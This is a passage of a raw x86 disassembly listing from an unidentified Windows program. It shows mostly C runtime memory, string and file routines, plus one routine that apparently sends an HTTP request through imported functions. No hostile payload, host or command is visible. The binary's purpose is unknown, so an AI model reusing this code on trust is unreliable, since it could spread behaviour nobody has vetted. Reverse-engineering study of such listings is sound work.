		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A068
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB08C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE68
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A1CC
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A1C4
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------

loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A1C0

loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------

loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A1BC
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A178
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A2AC
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAEA0
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAF78
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF6C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAF18
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A290
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A254
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A238
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------

loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A20C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1DC

loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h

loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFD8
		push	[ebp+var_4]
		call	dword_4CAFD8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000

loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0

loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------

loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------

loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------

loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi

loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi

loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2780000h

loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------

loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]

loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax

loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]

loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------

loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	loc_41B342

loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC940
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi

loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h

loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5

loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi

loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2790000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi

loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h

loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A

loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi

loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2830000h
		mov	edi, eax

loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B

loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB32C, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------

loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi

loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C324
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------

loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi

loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h

loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B

loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2790000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi

loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2830000h
		mov	edi, eax

loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B

loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB32C, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------

loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	short loc_41B49D

loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB32C, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D

loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax

loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------

loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB32C
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510

loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE

loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC948
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC940
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------

loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi

loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C324
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------

loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi

loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2790000h

loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
